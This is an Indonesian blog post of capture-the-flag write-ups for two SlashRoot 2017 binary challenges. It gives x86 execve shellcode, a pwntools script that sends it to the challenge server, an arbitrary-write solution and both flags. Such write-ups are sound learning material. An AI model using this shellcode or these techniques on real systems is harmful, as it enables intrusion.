Saturday, June 17, 2017

Write Up SlashRoot - Gimme Something

Gimme Something (100pts) 

Something special you can give to me.

Connect: nc 103.200.7.150 7777
f6067d45d9e278f6913f8bddbd74f100


v Deskripsi

Sama dengan soal sebelumnya kita diberikan akses ke server dan sebuah binary

v Penyelesaian

Pertama kita bongkar dengan ida namu ternyata fungsi run_it tidak dapat di psucode kita analisis dengan gdb.

0x08048531 <+100>: call   eax

Kecurigaan terjadi pada address tersebut dan bagaimana caranya supaya kita bisa sampe ke address tersebut

   0x08048509 <+60>: call   0x80483b0 <strlen@plt>
   0x0804850e <+65>: cmp    eax,0x16


Dari address diatas panjang inputan kita harus sama dengan 0x16 = 22 berarti kita harus memiliki shell dengan panjang 22 bytes

Mencoba mencari shell di http://shell-storm.org/shellcode kita coba dengan http://shell-storm.org/shellcode/files/shellcode-575.php kita tambahkan 1 bytes nopslide di awal sehingga menjadi

\x90\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

Kita coba tes langsung ke server

[+] Opening connection to 103.200.7.150 on port 7777: Done
[*] Switching to interactive mode
[x] Welcome to #SlashRootCTF2K17 [x]
Glad to see you here, enjoy the CTF \m/...
$ ls -alh
total 52K
drwxr-x--- 17 0 1000 4.0K Jun  9 09:40 .
drwxr-x--- 17 0 1000 4.0K Jun  9 09:40 ..
-rwxr-x---  1 0 1000  220 Aug 31  2015 .bash_logout
-rwxr-x---  1 0 1000 3.7K Aug 31  2015 .bashrc
-rwxr-----  1 0 1000   36 Jun  9 09:29 .flag
-rwxr-x---  1 0 1000  655 Jun 24  2016 .profile
drwxr-xr-x  2 0    0 4.0K Jun  9 09:40 bin
drwxr-xr-x  2 0    0 4.0K Jun  9 09:40 dev
-rwxr-x---  1 0 1000 7.3K Jun  9 09:29 gimme_shell
drwxr-xr-x 32 0    0 4.0K Jun  9 09:40 lib
drwxr-xr-x  3 0    0 4.0K Jun  9 09:40 lib32
drwxr-xr-x  2 0    0 4.0K Jun  9 09:40 lib64
$ cat .flag
SlashRootCTF{stairway_to_sHELLcode}


Script pwn kurang lebih seperti ini 

from pwn import *
context(arch = 'i386', os = 'linux')
r = remote('103.200.7.150', 7777)
r.send("\x90\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80\n")
r.interactive()


Flag untuk tantangan ini yaitu SlashRootCTF{stairway_to_sHELLcode}


Write Up SlashRoot - Overwriting Game

Overwriting Game (50pts) 

I love this game very mucho ~

Connect: nc 103.200.7.150 6666
7568227b11cd1062d7e9a7b9d34ac630

v Deskripsi

Peserta diberi file binary dan sebuah akses ke server

v Penyelesaian

Pertama kita analisa file binary tersebut dengan menggunakan ida untuk mempermudah dan melihat apa yang terjadi.

int the_game()
{
  int result; // eax@1
  int v1; // [sp+10h] [bp-18h]@4
  _DWORD *v2; // [sp+14h] [bp-14h]@4
  int v3; // [sp+18h] [bp-10h]@1
  int i; // [sp+1Ch] [bp-Ch]@1

  v3 = 2;
  i = 0;
  printf("Pin 1: %p\n", pin_1);
  printf("Pin 2: %p\n", pin_2);
  puts("Selamat datang di overwriting game ...");
  fflush(stdout);
  result = pin_1;
  if ( pin_1 == 0xDEADF00D )
  {
    result = pin_2;
    if ( pin_2 == 0xFBADBEEF )
    {
      for ( i = 0; i < v3; ++i )
      {
        printf("Alamat mana yang akan di-overwrite? ");
        fflush(stdout);
        __isoc99_scanf("%p", &v2);
        printf("Masukan nilai: ");
        fflush(stdout);
        __isoc99_scanf("%p", &v1);
        printf("Overwrite %p ke %p...\n", v1, v2);
        fflush(stdout);
        *v2 = v1;
        puts("Berhasil melakukan overwriting!");
        fflush(stdout);
        printf("Pin 1: %p\n", pin_1);
        printf("Pin 2: %p\n", pin_2);
        fflush(stdout);
      }
      if ( pin_1 != 0xDEADF00D && pin_2 != 0xFBADBEEF && pin_1 == pin_2 )
      {
        puts("Mantap, ambil flagnya!");
        fflush(stdout);
        system("cat flag.txt");
        exit(0);
      }
      puts("Oops, gagal melakukan overwriting!");
      result = fflush(stdout);
    }
  }
  return result;
}


Disana terlihat jika kita berhasil mengoverwrite address pin_1 dan pin_2 kita akan mendapatkan flagnya mari kita cari addressnya dengan gdb.

   0x080485a4 <+87>: mov    eax,ds:0x804a034
   0x080485a9 <+92>: cmp    eax,0xdeadf00d
   0x080485ae <+97>: jne    0x8048728 <the_game+475>
   0x080485b4 <+103>: mov    eax,ds:0x804a038
   0x080485b9 <+108>: cmp    eax,0xfbadbeef


Pin_1 pada address 0x804a034 dan pin_2 0x804a038 kita masukkan nilai yang sama.


Pin 1: 0xdeadf00d
Pin 2: 0xfbadbeef
Selamat datang di overwriting game ...
Alamat mana yang akan di-overwrite? 0x804a034
Masukan nilai: a
Overwrite 0xa ke 0x804a034...
Berhasil melakukan overwriting!
Pin 1: 0xa
Pin 2: 0xfbadbeef
Alamat mana yang akan di-overwrite? 0x804a038
Masukan nilai: a
Overwrite 0xa ke 0x804a038...
Berhasil melakukan overwriting!
Pin 1: 0xa
Pin 2: 0xa
Mantap, ambil flagnya!
SlashRootCTF{overwrite_meh_like_a_b0$$}



Flag dari tantangan ini SlashRootCTF{overwrite_meh_like_a_b0$$}.

Search This Blog

Powered by Blogger.

Langganan

Enter your email address:

Delivered by FeedBurner

 

© 2015 Learning Basic Network. All rights resevered. Designed by Templateism

Back To Top